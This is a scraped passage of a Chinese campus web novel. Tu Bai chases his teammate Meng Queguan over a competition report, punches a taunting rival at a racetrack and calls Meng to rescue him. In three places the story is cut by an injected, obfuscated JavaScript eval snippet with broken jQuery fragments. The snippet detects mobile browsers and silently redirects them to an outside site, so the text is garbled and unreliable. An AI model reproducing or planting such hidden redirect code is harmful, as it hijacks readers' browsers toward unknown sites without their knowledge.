心里是这么想的,然而就在涂白准备转头张嘴打哈哈时,却看见孟阙观笑了,唇一勾,饱满猩红,眼一弯,什么情绪都遮盖不见了,杨宴飞呼吸一窒,涂白也是,他感觉一股冷气穿过自己一衣服,顺着脊椎骨往上爬。 “那太好了,稍后我就把开题报告发给涂白,到时候你就写开题报告吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436945|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话是对杨宴飞说的,但冷气却顺着涂白的耳朵往里吹,又痒又渗人,没一会儿涂白的耳廓就起了一层寒毛。 “好好好,我一定写好,不会辜负孟....我们团队。”杨逸飞的眼睛黏在孟阙观身上,下一秒,孟阙观就转身进去了。 涂白没想到本来是自己给新队员安排活动,没想到最后变成了孟阙观安排,不过看着不限时使用的实验室,他还是决定原谅孟阙观的僭越。 就这样,设备、实验室、人员都凑齐了,比赛也正式开始了。 校内创新比赛的积分其实很简单,主要分为三个部分,一个是开题报告、一个是实验数据、一个就是论文,而且评委们的打分分三个部分打的,在规定时间内完成开题报告,差不多两周之后就可以收到开题报告部分的评分。 开题报告这一部分原本是孟阙观负责,然而孟阙观自从那天见到杨宴飞并且把自己活推给对方后,就基本没有参与过团队的讨论和工作。 不仅如此,就连宿舍也不怎么回来了,涂白问他什么情况,他则说家里面有事,涂白领导发威,言辞严肃地要求他立刻归队参与工作,可对方并不理他。 算了,他不参加就算了,看着手机里空白的对话框,涂白轻哼一声,果真是个搭风车的,一干活就没影了。 于是涂白派另一个队员和杨宴飞撰写开题报告,两周以后,经过全组三次修改以后,涂白信心十足将开题报告郑重其事地拿给了指导老师看。 然而结果却并没有他预想的那么好,当然指导老师也给了涂白很实用的建议,涂白决定自己亲自上手修改。 * 在涂白收到指导老师反馈意见后第三天时,孟阙观正在自己的大平层里买新季的手表,翻着管家送来的册子,他随意勾了几块,翻到其中一页,目光落在图片上。 是一块自动机械的腕表,表盘边缘镶嵌白贝母雪花钻,表盘里面则是用同色系的钻石堆叠镶嵌出了一个兔子的图案,眼睛是鸽血红宝,兔子侧身竖耳,像是在听时间的滴答声。 顿了顿,孟阙观翻到下一页,又很快失去兴致,把图册丢在了桌子上。 旁边一起选的还有谢逸,他波澜不惊翻着画册,平淡问到:“玩得不尽兴吗?” 孟阙观手撑着下巴,片刻,眼皮掀起,凉凉道:“来了个恶心玩意儿。” “需要处理?” 孟阙观没有说话,冰透的指尖一下下点着沙发扶手,不知道想到了什么,手指忽地一顿,猩红的嘴角缓缓扬起,牵拉五官莫名扭曲,幽色瞳孔则燃起扑朔火苗,形似鬼影。 “不,”他声音嘶冷,很是期待:“来点调味剂,说不定更有意思。” 谢逸缓缓低头,视线落在对方脚下层层洇湿的阴影上,在今天之前,孟阙观一连一个多月都没有联系过自己,他们几人猜到对方是玩开心了,尤其是在那天在图书馆见到孟阙观和涂白时,谢逸就知道,短期内,孟阙观是不会无聊了。 果真,四人群里孟阙观连话都不说了,而那三个人尤其是施意眠总是有意无意的在群里Q孟阙观,打的什么主意,谢逸大致可以猜到。 怕是因为在图书馆里和涂白吵的那一架,事后施意眠气得够呛,表面一副不可罢休的模样,十次聚会,九次提起这件事,可他又能怎么样呢? 毕竟孟阙观还没玩完呢。 其他人休想染指。 15.上钩 开题报告虽然过了,但从指导老师手里过的坎坷经历让涂白不安,他不清楚是因为改变剧情的蝴蝶效应,还是因为其他什么原因,对此指导老师给了他们意见。 ——队员里不是有孟同学吗?你没让他看?我感觉你前面一部分其实写的不错,政策理论简明清晰,矛盾分析准确,要是后面走评述和研究内容也能保持一样的水准就行了。 涂白头大,索性沿着孟阙观写的,自己又重新写了一遍,然后又得到指导老师以下意见。 ——这一次好多了,非常不错,按照以往的参赛得分评价,应该差不多可以得到七十分。 七十分?!怎么能才七十分?!涂白震惊又不甘,要知道历年获得校赛一等奖的,大多数参赛作品的开题报告得分都在八十分左右,就算撰写材料不是他的强项,自己水平也不能次到这个程度啊?! 奈何他翻遍小说,里面也没有提到自己一等奖的项目到底得了多少分,涂白陷入了浓浓的担忧中,他知道,剧情是会变的,但具体哪些地方会变,哪些结果会变,他难以把握。 万一这一次就因为差那么几分,就拿不到一等奖了呢? 晚上回到一个人的宿舍,倒在床上,涂白失眠了,黑暗中在床上翻来覆去后,他看向对面空荡荡的床铺,然后翻出手机。 凌晨三点十分,近在学校三公里以内的孟阙观的手机上收到了一条微信 很粉的兔子——在不 第二天早八的课,涂白早早到了教室,占好位子后,像往常一样掏出题开始刷,只是没做几道,就时不时点开手机看一眼,发展到后面,索性直接打开微信聊天界面,频繁刷新。 什么情况?按照孟阙观作息早就起来了啊,为什么不回自己微信? 涂白无奈,好在他和孟阙观上的课程基本一样,他应该一会儿回来上课,果真,快到八点的时候,孟阙观来了。 他一进来,刚刚还嘈杂的班级瞬间安静了。 上身是宽松黑T,下身是水洗牛仔工装,一侧宽肩背着松垮随意的背包,他长相、个子实在引人瞩目,一进来就自动吸收了全阶梯教室的注目礼,然而本人目不斜视,带着银色头戴式耳机一路往后走。 自从住在一起后,每次上课孟阙观都会和涂白坐在一起,尽管涂白多次表示不情愿,但依旧躲不开孟阙观,这次涂白早早为孟阙观占好了位置,是抢也抢不到的前三排。 眼看着人要走过了,涂白连忙站起来,喊了几声孟阙观的名字,对方原本平直的视线微微一顿,转向了涂白的方向。 “这这这!”涂白激动招手。 然而对方收回视线,像是没看见他涂白一样,脚步不停地往后走去,在最后一排的中间,没什么人的地方落座。 这下,只剩涂白尴尬地站在教室中间。 【什么情况?!他眼睛不好使?!不是吧,他刚刚绝对看见了吧?!干嘛装不认识啊?】 迎着周围人揶揄的眼神,涂白脸恼红,片刻只能狠狠坐下,把书立起来挡住自己。 【讲真,要不是为了开题报告,他吃粑粑都绝对不会找孟阙观!】 是的,涂白昨晚辗转反侧的半天,觉得问题就出在这个最大的变动——孟阙观身上,毕竟小说里团队成员没有他,所以就算有问题也是他这里有问题,再说了开题报告的前半部分也是他写的,导师那边也建议自己去找找孟阙观。 但现在或许是加入了杨宴飞,导致孟阙观对自己的领导有异议,暂时游离于组织之外,不过没关系,有异议可以提出来嘛,他不搞一言堂,可以民主评议嘛。 于是乎,给自己做了半晚上心理工作的涂白,决定拉下面子,担起组织领导人责任,去好好关怀慰问年轻同志,面对面谈心谈话。 然而显然,新同志还存在抵触情绪,不吃这一套。 这好像不太符合对方小说里好好绿茶的设定啊,涂白心里纳闷,小说里,“孟阙观”可是遇见吃爱心餐的自己会共情没有和他一样具备逆天投胎能力的顶级大圣母。 涂白转头往后看了一眼,对方已经卸下了耳机,手里拿着一本书,看厚度好像也不是这节课的课本,脸上没什么表情,淡得不能再淡。 导师来了,开始上课,两个小时过去下课后,涂白破天荒放弃了往常和其他学生一样围上去问问题的行为,先是四处打量一下,确定没人注意自己,起身悄摸摸走到孟阙观身边。 孟阙观正在看平板,是文件之类的,涂白看见了文件上的红头,上面是是孟氏晶能控股的字眼,貌似是什么任免通知,不等他看清,孟阙观就抬起了头。 “怎么了?”他笑了一下,没滋没味的。 涂白没蠢到问对方为什么不回自己的信息,他脸上扬起一个很友好且史无前例饱满的微笑:“没什么,就是你来到宿舍这么长时间了,我也没请你吃饭,感觉特别过意不去,所以想请你吃饭,不知道你什么时候有时间?” 请人吃饭对于铁公鸡涂白来说属于流星雨降临,上一个的受邀资格被张适持有,还是在两人成为室友整整一年以后,因此,孟阙观打破了有史以来涂白交友请客最快的记录,世所罕见。 孟阙观也很给面子地露出惊喜的表情:“那我太荣幸了,当然要去。” 此时此刻的孟阙观笑颜盈盈,五官美得像一幅画,好像又回到了书里描写的那样单纯无害,刚刚略过众人的冷漠似乎只是错觉。 涂白心里满意:“你什么时候有时间?” “随时都可以啊!” “那就中午十二点吧?我在学校东门的湘妹子湖南菜馆等你哈啊!” “好。” 涂白如愿,忽略前排同学听见两人谈话用一副你真的要请孟少爷去土菜馆吃饭的惊愕表情,背起书包扬长而去。 中午十一点五时五十分,涂白准时出现在了湘菜馆门口,等了三分钟后,不见人来后,他又进入店里,提前占了位子坐下,别看这家店小,但味好、量大、实惠,所以是大学城网红菜馆,一到饭点就火爆得不行,需要提前占位的。 涂白进去之后,先把桌子椅子擦了一遍,然后开始思考一会儿点什么菜,他都想好了,他们两个人点三个菜最多了,他点一个素菜,然后再让孟阙观点两个肉菜,这样也能体现他T恤下属的工作作风。 时间一点一滴过去,附近大学里出来的学生越来越多,很快小菜馆里就坐满了,期间有好几个学生过来问涂白这桌有没有人,涂白都说有人了。 他不停看时间,等啊等,从十二点等到了十二点二十,眼看外面排队的人越来越多,涂白坐不住了,他给孟阙观发了一条微信,问他到那里了,那头没回,过了五分钟又发了一条,还是没人回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到下午第一节课快要结束时,涂白攥着经管系的课程表,杀到了经济学教室的门口。 他找一个人——谢逸。 教室里的人已经走得差不多了,谢逸坐在最后一排,涂白看见他的时候,他正在和旁边的一个女生说话,女生脸很红,眼睫毛眨啊眨的,手攥着书脊。 涂白有所预感,蹲在不近不远的地方系鞋带忙碌,果真就听见女生在吭哧吭哧的告白。 女生说完后,教室里陷入了短暂的沉寂,接着男生冷淡的声音响起:“抱歉,你不是我的理想型。” 女生声音有些发抖:“那你的理想型是谁?”接着又陆陆续续问了几个问题,但是谢逸一个都没有回答。 真冷,涂白心想。 女生走了,涂白终于不用第四遍系鞋带,他站起来,挺直腰杆走过去。 谢逸不知道在想些什么,他看着涂白没有说话,唇薄成一条线。 涂白似乎没有听人墙角的不好意思,他扬了扬头,发亮的眼睛里带着点小兽的不驯,理直气壮:“你知道在孟阙观在哪里不,麻烦带我去找他。” 与此同时,谢逸的手机里收到一条微信,只有短短八个字,未卜先知。 ——把我家地址给涂白。 16.打人 如果要问涂白身边这些个人里最讨厌的是谁,他一定能毫不犹豫排出序来。 孟阙观高举榜首第一遥遥领先,而接下来就是那个叫施意眠的黄毛攻二,嘴巴太臭,还造人黄谣,人品太差,剩下的基本上就是一些小喽啰,什么楼下卖水果偷称的大叔,饭堂里最能抖手的大妈等。 但今天,涂白决定讨厌榜单中必须再加入一人,那就是——谢逸,当然目前排在最后一名,远不及榜单前两位人厌鬼弃。 “你就把他地址给我,我肯定不告诉他是你说的,这样还不行吗?” 涂白没想到谢逸软硬不吃,自己说什么,他都不理自己,本来找谢逸的时候,他还挺忐忑的,想着对方会不会因为内裤的事情迁怒他,可没办法,自己比赛的事情要紧,除了谢逸之外,他也不知道还能怎么联系到孟阙观。 谢逸不理他,收拾好包就往外走,涂白一步不错跟在对方身后。 “你不会是因为内裤的事情怪我吧?”涂白稍微有点心虚,但他面上依旧理直气壮,苦口婆心:“这也不是我的错啊,哎呀,你要看开一些啊....” “什么内裤?”谢逸停下脚步,看向涂白。 涂白愣了一下,这才意识到对方根本不知道车座底下内裤的事情,于是清了清嗓子搪塞:“哦....没事没事,我说错了...哈哈.....” 迎着谢逸明显莫名的视线,涂白尬笑,想要找个洞埋进去。 “哎呀反正,总之就是你今天必须告诉我孟阙观人在哪儿,我找他真有急事。”涂白强行转回话题。 谢逸完全不为所动,对于涂白明显异常的话题转移也没有刨根问底,收回视线,忽视耳边涂白的骚扰,走出教学路,一路往地下停车场走去。 然而涂白是说到做到,谢逸那头刚打开车门,涂白就一溜烟钻进了副驾驶,然后生怕对方把他赶下去似地扣上了安全带,紧紧攥在胸前。 “你就告诉我呗。”察觉到对方冰冷的视线,涂白舔脸一笑:“你告诉我,我立马下去,绝对不再烦你了。” 谢逸终于说话了:“你找他干什么?” 涂白想了想,觉得告诉他也没什么大不了的:“就是比赛的事情,我发消息他也不理我,还鸽了我好几次......反正找他肯定是正经事。” 谢逸没有再赶涂白下车,车辆发动,缓缓驶出校园,一路加速,向城南的方向驶去。 涂白以为对方要送自己过去找孟阙观,于是终于安下心来,也不烦对方了,开始专心用手机看文献,他还有很多作业和很多比赛上的事情要做,要不是为了找孟阙观他现在应该在实验室或者图书馆里,想到这里,涂白又狠狠在心里给孟阙观记了一笔。 看书看到一半,涂白抬起头,才发现周围竟然一片荒芜,高楼没几个,车就更少了,看着样子是开到郊外来了,然而谢逸还在继续往前开。 “这哪儿啊?”涂白心跳有些快,他没来过这里,怕谢逸是被他烦得不行,准备神不知鬼不觉的搞死他。 “要不你还是把我放下来吧。”涂白吞了吞口水,小心翼翼打量谢逸的侧脸,一如既往的没什么温度,似乎连多说一句话都欠奉。 涂白的手悄摸挪过去去拉车门,当然是拉不开,很快路一转,几个很有科技感的建筑映入眼帘,车速渐渐放慢,行驶门口,硕大的红色指示标语上写嵌着几个金属大字——首京国际赛车场。 车停下,涂白跟着谢逸一起下车,一辆小型的接驳车早就停好,谢逸率先坐了上去,旁边空出一个座位。涂白愣了一下,谢逸看了他一眼,然后涂白也坐了上去。 绕开前面那些建筑,车在低矮的弧形玻璃建筑前停下,两人一起上楼,玻璃房上都挂着数字,相隔的距离不远,但都门关着,没什么人,涂白听见了车辆发动机的嗡鸣声,越往里面走,越清晰。 跟着谢逸走进了唯一一间开着玻璃房中,里面比想象的大很多,几乎有三个阶梯教室那么大,分了区域,涂白之前刷到过视频,和公共看台不同,叫什么P房,近距离到可以看见下面赛车入场维修。 显然这里是私密观看地,但和科普视频里排布整齐的隔窗座椅不同,这里只有零星几张真皮沙发,两边是硕大的实时显示屏。 沙发上已经有人在了,是之前在孟阙观生日宴会上见过的两个炮灰攻,一个叫周宇京 一个叫江齐。 两人看见涂白来了,似乎也有些惊讶:“你怎么把他带来了?” 谢逸坐在沙发上,一旁的服务人员很有眼色地递上一杯半盛透明液体的高脚杯,不知道是酒还是水,谢逸喝了一口道:“他找阙观。” “那不巧了。”周宇京耸肩:“刚刚才打电话问了,阙观说他有事不来了。” “喂,你找阙观什么事?”旁边长得凶里凶气的江齐问涂白。 涂白舔了舔干涩的唇,刚刚落座的时候,他下意识跟在谢逸身后一起坐下,然后又往最边边缩了缩,他不太喜欢陌生的环境,尤其是周围还是不怎么喜欢的人。 “关你什么事.....反正就是有事。”涂白没了面对谢逸的理直气壮,他小声道,飞快看了一眼对方,又移开视线看向玻璃窗外的赛道。 恰好一辆车疾驰而过,红色的车身犹如一团流星烟火,撕破空气,涂白对这种刺激类运动完全不感兴趣,反倒是被车尾扬起的浓烈白气吓了一跳,总觉得下一秒就要爆缸。 周齐对于涂白的回答却不满意,而且他发现对方竟然望着窗外走神了,于是眉一皱,脸颊的伤疤活了一样狰裂,他的耐性不好,正准备说些什么,又对上了旁边谢逸黑白分明的眼睛,于是话一顿,硬忍了下去。 他没忘,涂白现在是孟阙观的人,看谢逸的样子就知道,他都不能动。 不过有一说一,这小子白白软软一个,窝在沙发上,跟个抱枕一样,光一照,皮肤都发光,薄得能看清细细的血管,唇是粉的,手指头竟然也是粉的,他全身除了头发没有黑色素吗? 勉强看过半场比赛的涂白,有点忍不住这种陌生奇怪的氛围了,总觉得周围几个人总在有意无意的看他,于是他催促道:“谢逸,快点把孟阙观的住址给我,给我我就走了。” 话正说着,楼下突然传来声音,涂白以为是孟阙观来了,于是连忙起身,趴在露天玻璃上往下看。 结果就看见刚刚那辆热火的红色法拉利不知道什么时候开进了下面的维修区,几个穿着统一车队工装的工程维修师傅正在迅速换轮胎,检查车情。 正在这时,原本坐在驾驶室的赛车手从车上下来了,对方穿着红白赛车服,头盔一卸,露出一张湿淋淋的脸,火星眸子直直锁定涂白,竟然是施意眠。 对方显然也看见他了,或者说他现在下车就是因为涂白,几周前在图书馆和对方吵架的情景依旧历历在目,也不知道为什么,施意眠老是会想起来,于是索性放弃一半的比赛,直接从p房上到包厢,去找涂白。 涂白看见施意眠就来气,想起对方说的自己长着一张喜欢男人的脸就吐血,一点好脸都不想给留,看见对方来了,连地址都不想要,起身准备走。 却被立刻赶上来的施意眠拦住了:“去哪儿?” “你管我去哪儿?!”涂白道:“还有之前的事情,你得立刻向我道歉!” 孟阙观说话和放屁一样,明明说让施意眠向自己道歉,结果他人都找不到,还得自己插空来讨公道。 施意眠笑了,他知道涂白说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455485|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是什么意思,却偏偏问:“道什么歉?” 涂白气得咬牙,他当然拉不下脸来给施意眠回忆,声音从牙缝里挤出来:“你说呢?” 施意眠这才恍然大悟,他靠近涂白,涂白感觉到对方身上的热度气味,更加不喜欢,往后退了退。 “你说的是上次在图书馆的那件事情吧。”感受到涂白的逃避,施意眠眼睛发冷,他脸上没有一点歉意,不仅如此,眼珠子反而黏在涂白的腮上,恶劣道:“可是我说的是真话啊,你就是长了一张喜欢男人的脸啊。 ” 说着,他扬了扬下巴,示意涂白看后面的几人:“不信,你问问他们啊。” 涂白气得浑身发抖,早在施意眠说第一句的时候,他就想要打他,拳头已经攥住了,但他没想到,对方竟然越来越过分,涂白终于忍不住了,他觉得对方上来就是讨打的。 于是,涂白如他所愿,很利落地举起拳头,趁着对方脸在前面,直接一拳重重打在了对方颧骨上。 力气很大,至少涂白的手背特别疼,至少施意眠的脸被打侧到一边很快就红了,至少后面沙发上的三人都惊呆了。 一时之间,包厢内空气凝滞,没有人说话。 但涂白的思路却非常灵敏,他喘着气,一秒都没有犹豫,颤抖着直接拿起手机,给孟阙观打去了电话。 他已经决定了,不管对方接不接他都准备直接开口,假装自己在和孟阙观通话,说他把人打了,毕竟现在看来这四个人都和小说里一样,和孟阙观关系不错,或者说,都喜欢孟阙观,因此,找孟阙观擦屁股,是最好的选择。 “你他妈!”反应过来的施意眠转过头,显然已经暴怒,眼睛钉死涂白,似乎想要撕开对方粉薄的皮肤,把手伸进涂白身体里,一口咬住柔软的内脏,要吸食他的血液。 总之,脑海里已经有一百种手段去折磨对方,一想到这里,他甚至有些兴奋,呼吸急促,眼睛红胀,于是更迫不及待伸出手要去拉扯涂白,而身后的谢逸则脸色一变,一下子站了起来,大步走过来。 涂白顾不得其他,一边往后退,一边紧紧攥着电话,电话那头,是漫长的嘟嘟声,涂白大滴冷汗从鬓角落下来,他的耳朵紧紧贴着听筒,视线却死死看着面前即将罩住自己脸的大手,似乎都嗅到了那双手上赛车机油的呛人气味。 那一瞬间,涂白只有一个想法,要是真被施意眠抓住了,说不定真的会被打死。 快接啊....快接啊..... 没有人接电话,对方的手指已经快要戳上涂白的眼睛,就在涂白不抱希望的时候,陡然的,电话那边通了。 嘟声结束,就像是一滴水落进大海里,打断了涂白对所有被打进医院的猜想,他甚至从无声的电流中听见了对面的呼吸。 是很漫长的几秒,终于,听筒里传来熟悉的低沉:“喂....” 涂白立刻应答:“孟阙观,我在赛车场,施意眠要打我,你快过来。” 那头短暂停顿片刻,然后声音随着电流很平静的传入涂白耳道:“把手机给施意眠。” 得救了。 涂白松了一口气,却并不敢把手机交出去。 不知道为什么,刚刚他故意说出孟阙观三个字的时候,施意眠好像更愤怒了,那种极力压抑的怒火更让涂白心惊,好在沙发上的两人,看见涂白真得打通孟阙观电话后,也连忙上来压住施意棉。 谢逸则代替施意眠,接过了涂白手中的电话,不知道说了什么,三十秒后,电话挂断。 谢逸看着还要去抓涂白的施意眠道,眼睛很冷:“别碰他,阙观一会儿就到。” 这十个字很有效,至少在孟阙观到达这里的二十分钟内,没有人再敢碰他。 17.吓哭 涂白坐在最边的沙发上,当前气氛诡异,他不说话,只默默打量。 施意眠出去了,刚刚他听见孟阙观要来,直接冷笑一声换了赛服就走了,看来还在气头上。 那又怎么了,自己还生气呢,莫名其妙被骂长得像同性恋,一次就算了,今天竟然又被骂了一次,还是打得太轻。 涂白不说话,他能感觉到面前除了打电话的谢逸,剩下的两人都在有意无意地看着自己。 涂白情商虽然低,但是在某些方面却很灵敏,打从第一次见面,他就知道包括施意眠那个狗东西在内的这几个人都看不起自己,他们和自己说话,就是想看自己的笑话,不然施意眠也并不会一而再再而三的故意嘲笑讥讽他。 涂白可没那么好脾气忍他们,越是被看不起他就越要打回去,让他们睁大狗眼看清楚,自己可没那么好惹。 这么想着,涂白扬起自己整张脸,睁大眼睛和对面两个人对视,任他们看。 片刻,江齐冷哼一声收回视线,而那个叫周宇京的也垂下眼,拿起酒杯,涂白挑了挑眉,大获全胜。 孟阙观到的时候,工作人员已经过来问几个人是不是要准备午餐了,平心而论,自涂白打电话到孟阙观到达,中间时间确实像他说的那样差不多二十分钟,但涂白还是有些不满,因为最应该教训的人——施意眠已经走了。 没有坐接驳车,孟阙观的车一路畅通无阻的停在包厢楼下,银黑的迈巴赫如同觅食结束的豹子,轮胎越来越缓,然后姿态优雅的匍匐在阴影之下,等待驾驭它的人下来。 车上的人迟迟没动,后座的孟阙观正翻着平板上最后几页实验数据,他看得很快,手指只在零星数据上停留,眼睛不动声色地吞吃信息,然后飞快划走。 前面新上任的助理不敢打扰,几天前,孟氏晶能的董事会议案通过,当天凌晨就发下了一则批复,由孟阙观担任旗下子公司——新科研究执行董事,一切工作直接向母公司董事会负责。 决定一出,集团众人吃下一颗定心丸的同时又有些讶异,定心丸是因为此举代表着孟家正式进入了改弦更张的新时期,老子要给小子让位了,日月要换新天了,讶异则是因为众人都没想到孟家继承人竟然会从一个不起眼的子公司做起。 助理也没想到,一觉醒来,自己要服务太子爷了。 手里的数据看完,孟阙观卸下细框眼镜,手机已经连续震动了好一会,他点开屏幕,挤满了粉色兔子发来的信息。 ——你到哪里了?上来了没? ——施意眠跑了,气死我了,你知道吗?他刚刚差点打到我的脸! ——你是坐乌龟来的吗,走了有五十米吗?要不要我去接你? ——对了,谢逸也在这里,刚刚施意眠嘲笑我的时候,他都一声不吭地看好戏,人品太差,之前还把你绿了,你一会儿不许理他,听见没? 一连串的信息完毕,中间又隔了好几分钟,不知道发信息的人在想些什么。 几分钟后,对话框里孤零零的又跳出一个短短的一句话 ——喂,你说,我长得有那么像同性恋吗? 明明是文字,却好像能听见对方含着委屈的声音。 几乎是瞬间,孟阙观就想起几周前,在宿舍里,男生垂头缩在床边,两只白生生的手揪着被单,窄窄的肩膀一抖一抖,片刻后,一张湿漉漉的脸抬起来,眼睫上凝着星点,鼻尖泛红,嘴巴更是一撇一撇,哽咽着问他,自己是不是长得很像同性恋。 似乎只要自己说是,他就能立刻水漫金山、气绝而亡。 孟阙观指尖痒了一瞬,像是碰到了一片湿热滑嫩,指尖一缩,那感觉很快就消弭了,他举起指尖,依旧是很死气的石膏白,就算用力按压,也没有一片粉落在上面。 但粉色的兔子不是这样的,他色彩缤纷,生气、嚣张、奸诈、得意都,有很靓丽的颜色呈现在皮肤上,身体和心里一样。 不知道过了多久,手机屏幕黑下来,对话框中的自言自语消失,黑暗中自下而上映照出男生模糊的五官,没什么表情,更看不清眉眼,只有薄唇抿着,忍耐成一道线。 * 孟阙观进来的前一秒,涂白已经举起手机准备短信轰炸了,看见男生进来后,他一下子从沙发上起来,不带犹豫地跑到对方面前。 “你怎么才来啊,给你发信息你也不理我。” 涂白振振有词,面露不满,但肉眼可见的,他的小腰板直了起来,叉腰对着孟阙观说话的样子,就像是在外受了欺负的兔子向回来的主人告状。 “抱歉,路上耽搁了。”孟阙观看了一眼被涂白有意无意扯着的衣角,继续关切道:“发生什么事了?你有受伤吗?” 这么一问,可不得了了,涂白毫不避讳对面的三人,直接添油加醋把事情说了一遍,并且着重强调了谢逸不告诉他地址、施意眠嘲笑自己并且还企图动手、以及剩下两人的无动于衷、隔岸观火。 “所以,你说他们过不过分?!人品简直太坏了!”涂白下了结论,先是气势汹汹地盯着对面几人,接着又看向孟阙观,等着对方给自己出气。 【讲真,小说里的孟阙观为什么要和这些人纠缠在一起?虽然他是个学术媛吧,但至少看着挺礼貌的,不像面前这几个,纯坏啊,一个知道地址不告诉自己、一个嘲笑自己长得娘,剩下两个看猴戏,心一个比一个黑,小说里就算了,现实里遇见这种人就应该二话不说地跑!】 这么想着,涂白对孟阙观多了几分同情。 【唉,不过也活该,谁让他喜欢男人呢?只能说什么锅配什么盖。】 孟阙观眼睫一顿,片刻徐徐垂眸看向涂白,依旧笑得关切,瞳色一点点加深。 “喂,你胡说什么呢,我刚刚明明帮你把他拉开了,施意眠根本没有碰到你!”听到涂白添油加醋,江齐先忍不住了。 “我哪儿胡说了,他就是碰到我了!不信你看!”说着,涂白向孟阙观指了指自己脸颊上的一块皮肤:“都被他蹭得快破皮了!” 涂白凑过来的时候,心里还在骂,不过脸颊上靠近鬓角的皮肤确实比其他地方红,他皮肤薄,纤弱的毛细血管覆在里面,好像熟透了的桃子,轻轻一碰,汁水就要四溢。 孟阙观指尖有些痒,他缓缓摩挲着,克制那股冲动。 “不是说了吗。”观赏完快要破皮的桃子,孟阙观道:“涂白是我的朋友,不要欺负他。” “可是我们......”话还没有说完,江齐就哑了声。 他看着孟阙观的脸色,不说话了,头缓缓垂下,不仅如此,剩下的谢逸和周宇京面对涂白明显的夸大事实,也自始至终没有表达孟阙观不听取事情原貌就无条件相信涂白的不满。 空气隐隐凝滞,几人不近不远地站着,但涂白明显感觉到,自己身侧的气势尤为沉厚。 他下意识转头去看,却因为站位的问题看不到孟阙观的全脸,只有半张侧脸,对方依旧笑着,不过和刚刚面对自己时的表情有点不同。 嘴角的笑意好像格外深,格外饱满,唇色腥红,与之对应的是同样浓郁的眼尾痣,血一样溅在深色的眼睛下,让人莫名的.....不敢对视,更不要说提出异议。 “以后,你们谁都不许再欺负涂白。”半晌,待气氛凝滞得不能再凝滞的时候,孟阙观道,他声音很柔和,似乎和性格一样,如同无害的水。 “我再说最后一次,他,是我的好朋友。”话里有所指,带着丝丝缕缕的占有欲,好像对面几个人什么心思他都知道。 显然,无波的水下还有更深更幽暗的东西存在,对面几人心有顾忌,更加沉默,但在涂白看来,它就是一汪再浅再孱细不过的泉眼,自己甚至可以弯下腰,伸进去试探、玩弄。 没什么大不了的,反正自己有原著指引,什么都不怕。 对于孟阙观的处理结果,涂白半满意半不满意,虽然对面谢逸几人明显吃瘪了,毕竟被自己喜欢的人骂,确实不会好受,但罪魁祸首施意眠还没有认罪伏法,嚣张得很,涂白想起对方就牙根痒痒,目前施意绵眠已经代替孟阙观荣登涂白最讨厌的人榜首。 “还气呢?别气了,我回去就找他,让他给你道歉。”从包厢出来,孟阙观对涂白道。 涂白冷哼一声:“算了吧,等你茶都凉了,我现在不想提这个人,等什么遇见他了,我一定要打得他给我求饶道歉!” “还有,你最近什么情况,怎么总是放我鸽子,害我找你找得这么辛苦?”涂白还没有忘记前两次被对方丢在饭馆的事,但想着自己有求于对方,于是压住了心里的不爽。 “哎呀,我知道,你就是不喜欢杨宴飞呗,这样吧,回去我就开了他,让他走人行不行,你回来吧。”涂白试探道。 【先把人稳住,让他把开题报告给自己弄好,至于杨逸飞就让他在实验室里做实验,反正两个人不见面,孟阙观也不会知道,完美!】 这么想着,涂白心里的石头落了地,正继续劝说孟阙观,突然对方脚步一顿,停了下来。 “怎...怎么了?”涂白也停了下来,他看不懂对方的脸色,总感觉似笑非笑的,就在这时,从赛场上传来一阵发动机的剧烈嗡鸣声,一串接着一串,轮胎急速摩擦地面的声音听着人牙发酸。 【他不会也会玩赛车吧?应该不会吧,他一个温柔挂绿茶应该不会玩这种极限运动吧,而且这赛车有什么好玩的,不吓死下来也得晕死。】涂白走神心想。 “涂白。”孟阙观突然叫住他。 “怎么了,想通了?准备回归大部队了?”涂白心下一喜,嘴角的笑刚要扬起。 “好久没玩了。”孟阙观看向赛道的方向,几辆色彩各异但速度不要命飙升的赛车在场内疾驰、漂移,拐弯处白烟弥漫之下是深深的刹车痕迹。 看台上没几个观众,但都围在最近的栏杆处,疯狂尖叫举旗,无论是痕迹斑斑的赛道还是观众的行为,无不昭示着这是一个让人肾上腺素飙升并且充满危险的极限运动。 “你要是能陪一起跑一圈,我觉得我能想得更通。”孟阙观道。 * 涂白不喜欢这种看起来就不是很想活的运动,他很惜命,家里还等他光宗耀祖呢,而且他认为这种运动纯纯是为了释放多余的肾上腺素,他的肾上腺素也很珍贵,要用在各种各样的考试竞赛中。 但现在的局势的涂白很不利,一开始是孟阙观自己要加入自己队伍的,可现在人家不参加比赛活动了,被动的反而成了涂白。 涂白陷入抉择,又想起比赛奖金平摊到每个人身上,足足有一万元,他不犹豫了,他不能允许比赛有任何失误,因此就算孟阙观在他看来就是一个浑水摸鱼的学术妲己,他也得让对方代替好张适的位置,说不定他把关过的开题报告得分会更高呢? 